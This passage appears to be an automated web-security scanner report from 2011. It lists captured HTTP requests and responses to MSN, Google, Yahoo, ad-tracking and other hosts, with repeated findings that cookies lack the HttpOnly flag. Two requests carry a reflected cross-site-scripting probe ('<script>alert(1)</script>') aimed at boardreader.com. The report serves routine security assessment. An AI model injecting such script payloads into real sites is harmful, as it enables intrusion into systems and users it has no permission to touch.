GET /red/psi/sites/www.ehow.com/p.json?callback=_ate.ad.hpr&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.ehow.com%2Fcomputer-software%2F&ref=http%3A%2F%2Fburp%2Fshow%2F4&o1jt6o HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296507257.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 346 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 02 Feb 2011 15:14:45 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 04 Mar 2011 15:14:45 GMT; Path=/ Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296659685.60|1296659685.66; Domain=.addthis.com; Expires=Fri, 01-Feb-2013 00:28:04 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 02 Feb 2011 15:14:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:14:45 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /quant.js HTTP/1.1 Host: edge.quantserve.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close ETag: "18278:E0-227342138-1296570729091" Vary: Accept-Encoding Last-Modified: Tue, 01-Feb-2011 14:32:09 GMT Content-Type: application/x-javascript Set-Cookie: mc=4d481969-16684-f7cfe-c8df4; expires=Tue, 01-Feb-2021 14:32:09 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Cache-Control: private, no-transform, must-revalidate, max-age=86400 Expires: Wed, 02 Feb 2011 14:32:09 GMT Content-Length: 5265 Date: Tue, 01 Feb 2011 14:32:09 GMT Server: QS
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /articles/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=b9bfa5195ac242b6b3c0e65032e98705; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=4121B0CBC49B4A6EBD8938C8585174FE; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 38991
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blogs/autosblog.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=359d35043ed54139853a37a4e289217d; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E8F56045ECCA4D669B1521C01014A312; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA52 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=4f2f19d5d3e64638a39ef8c9a0e56298; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=9A2C4E32A10C4DF3AE112D8B596AEC73; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 37365
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/video/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=0dd7202db890418c95a7232d432d9a03; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=1CF9F665B11C4AE9AF3A7B83F378BDD3; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 18460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /new-cars/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA52 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=775a706ba27249818384c9ddc6f0be26; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=452825B919744E0CBD3D811A7E5DDB62; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 38354
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /used-cars/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA54 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a42dce0f38a347f48d33b0d543fa5631; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=718D92C75E2A4AC1AED19F22E9A0BF40; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 34201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 53147 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=b39c3a5d929f4c56b9f0ed54cc0437f4; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:32:30 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/ HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 62010 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=5ee08328c5854a91b8ceda54850cba49; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:32:37 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Just In Ne ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /video/ HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 26701 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=ab9a494b3ce24782ad4af7e40153d000; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:32:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /safebrowsing/diagnostic HTTP/1.1 Host: google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=5f73d22166d7f160:TM=1296674447:LM=1296674447:S=4xGMQcbY0V59KZNy; expires=Fri, 01-Feb-2013 19:20:47 GMT; path=/; domain=.google.com Date: Wed, 02 Feb 2011 19:20:47 GMT Server: safebrowsing_diagnostic Content-Length: 1377 Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: gorp.away.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.gorp.com">he ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=apphosting=5bfqLIwMiNUb2voqmYWZZQ; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /og-dogfood-issue HTTP/1.1 Host: goto.ext.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: https://goto.google.com/og-dogfood-issue Set-Cookie: S=apphosting=5bfqLIwMiNUb2voqmYWZZQ; path=/ Date: Tue, 01 Feb 2011 15:34:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: Google Frontend Content-Length: 0 Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=apphosting=9dBJEPaFkbGaFhd40xIrtw; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /og-exp HTTP/1.1 Host: goto.ext.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: https://goto.google.com/og-exp Set-Cookie: S=apphosting=9dBJEPaFkbGaFhd40xIrtw; path=/ Date: Tue, 01 Feb 2011 15:34:21 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: Google Frontend Content-Length: 0 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: health.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:34:44 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA24 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=7308e0c789104f31abdeb2e68a6d57ff; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=6F3EFCB2F9904D1D9B49CA53FAC866EF; domain=.msn.com; expires=Sat, 20-Aug-2011 15:34:44 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 37486
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:web="http:// ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /health-topics/quit-smoking/articlepage.aspx HTTP/1.1 Host: health.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:34:46 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA19 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a0a61b8a17324a34bcefa62237ce7c6d; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=6FC2D6913483462A84559AE5C41E3ABF; domain=.msn.com; expires=Sat, 20-Aug-2011 15:34:46 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 35881
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
vid=3e136b53-42127475201; Path=/; Version=1; Domain=.clickaider.com; Expires=Thu, 02 Feb 2012 20:08:08 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clickaider.js HTTP/1.1 Host: hit.clickaider.com Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(1)%3C/script%3E6f696982a6d=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK P3P: policyref="/w3c/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA" Expires: Thu, 03 Feb 2011 20:08:08 GMT Cache-Control: private, max-age=86400 Set-Cookie: vid=3e136b53-42127475201; Path=/; Version=1; Domain=.clickaider.com; Expires=Thu, 02 Feb 2012 20:08:08 GMT Vary: Accept-Encoding Content-Type: application/x-javascript Date: Wed, 02 Feb 2011 20:08:08 GMT Server: lighttpd/1.4.18 Content-Length: 9501
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pv?lng=660&a1=468x60;383x35;AdSense;ca-pub-4537085524273794;2660416438;468x60_as;text_image;333333;FFFFFF;105cb6;4F7500;FFFFFF;&a2=300x250;269x710;AdSense;ca-pub-4537085524273794;3510583841;300x250_as;text_image;333333;FFFFFF;105cb6;4F7500;FFFFFF;&a3=728x90;2220x30;AdSense;ca-pub-4537085524273794;5128047824;728x90_as;text_image;333333;FFFFFF;105cb6;4F7500;FFFFFF;&&lnks=&t=2mdn.net%2Fx22%20-%20Domain%20Profile%20%7C%20BoardReader&c=9f671068-5&r=http%3A%2F%2Fburp%2Fshow%2F43&tz=-360&var1=domain%20profile&var3=general%20user&loc=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253E6f696982a6d%3D1&rnd=1309 HTTP/1.1 Host: hit.clickaider.com Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(1)%3C/script%3E6f696982a6d=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: vid=3e136b53-42127475201
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.1.6 P3P: policyref="/w3c/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA" Set-Cookie: clickdata=eNptys0KwjAQBOB3WSjoQdNsbNJsEQ%2Fig6TNFgv2hySiIr67rQe9eJv5ZhxJekaSOYFttZG5LjcFVI6KhQ1B5OiZJ6g6klUkJEjxU9BqbQxaNasi6P5z4BbmJC3BOaWJhKivYRLxPN7ETi1TQcBDCo%2FPLc9%2Fv9EFH9h5Dttm7IUfe9cNAns%2FbAdO4o544JpbkyFm6pSpY2xCN6U5uwuHtJLr2cQXdauttiU67fcSqtfrDS1OScw%3D; path=/; domain=.clickaider.com Set-Cookie: sid=d269a5c2-241228395777; path=/; domain=.clickaider.com Cache-Control: no-cache, private, proxy-revalidate, max-age=86400 Pragma: no-cache Content-Type: image/gif Content-Length: 43 Date: Wed, 02 Feb 2011 20:08:13 GMT Server: lighttpd/1.4.18
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:$UID HTTP/1.1 Host: image2.pubmatic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: KRTBCOOKIE_58=1344-CA-00000000456885722; KRTBCOOKIE_57=476-uid:4760492999213801733; KRTBCOOKIE_133=1873-6ch47d7o8wtv; KRTBCOOKIE_80=1336-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.&KRTB&1685-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.; KRTBCOOKIE_148=1699-uid:D8DB51BF08484217F5D14AB47F4002AD; KRTBCOOKIE_22=488-pcv:1|uid:3011330574290390485; KRTBCOOKIE_16=226-uid:3271971346728586924; pubfreq_26263=207-2; PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150; KTPCACOOKIE=YES; PMDTSHR=; KADUSERCOOKIE=4AC32DB0-0B6A-48EE-BE74-FD6E7D9BC764; KRTBCOOKIE_153=1923-41yKvrFZ3L_6C466tA2Vu-Rdi-v6AY_r4FlErZjJ; pubtime_26263=TMC;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:32:10 GMT Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2 Set-Cookie: KRTBCOOKIE_148=1699-uid:$UID; domain=pubmatic.com; expires=Fri, 01-Feb-2013 15:32:10 GMT; path=/ Set-Cookie: PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150; domain=pubmatic.com; expires=Sat, 11-Jan-2014 18:19:40 GMT; path=/ Content-Length: 42 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private Pragma: no-cache Connection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images HTTP/1.1 Host: images.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://images.google.com/imghp"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /w3c/p3p.xml HTTP/1.1 Host: info.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:34:53 GMT Set-Cookie: B=5tvhlp96kga0t&b=3&s=7g; expires=Tue, 01-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Last-Modified: Fri, 26 Sep 2008 21:45:52 GMT Accept-Ranges: bytes Content-Length: 273 Connection: close Content-Type: application/xml Cache-Control: private
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /render/adserverclick.aspx?AdID=1265340&ImpressionGuid=9f490517-dffb-17bd-848b-f620c04503d9&AffiliateGuid=64f58eca-dbc0-4a8f-b5f6-e4221149d1b8&CampaignID=3241&Premium=1&RendererID=566&code=-1&unit=-1 HTTP/1.1 Host: jdn.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 446 Content-Type: text/html; charset=utf-8 Location: http://jobview.monster.com/getjob.aspx?JobID=96183799&JDNJobDocument.JobID=46130753&AdID=1265340&ImpressionGuid=9f490517-dffb-17bd-848b-f620c04503d9&AffiliateGuid=64f58eca-dbc0-4a8f-b5f6-e4221149d1b8&CampaignID=3241&Premium=1&RendererID=566&code=-1&unit=-1&stracking=&WT.mc_n=JDN000003 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA",policyref="http://media.monster.com/w3c/p3p.xml" Expires: Tue, 01 Feb 2011 15:35:11 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 01 Feb 2011 15:35:11 GMT Connection: close Set-Cookie: DELIGIBLE=JobID=96183799&Job.2=96183799&Loc.2=371&Cat.2=660&Car.2=12&Edu.2=2&ver=1,2; expires=Thu, 31-Jan-2013 15:35:11 GMT; path=/
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://jobview.monster.com/getjob.aspx?JobID=96183799&JDNJobDocument.JobID=46130753&AdID=1265340&Impressi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
//Vermont-12.4.0-1012 var rsi_now= new Date(); var rsi_csid= 'F08747';if(typeof(csids)=="undefined"){var csids=[rsi_csid];}else{csids.push(rsi_csid);};function rsiClient(Da){this._rsiaa=Da;this._rsiba ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d78/x26 HTTP/1.1 Host: khm0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=597da63009975a31:TM=1296660737:LM=1296660737:S=dj3MDnS0o7lzEybf; expires=Fri, 01-Feb-2013 15:32:17 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 15:32:17 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
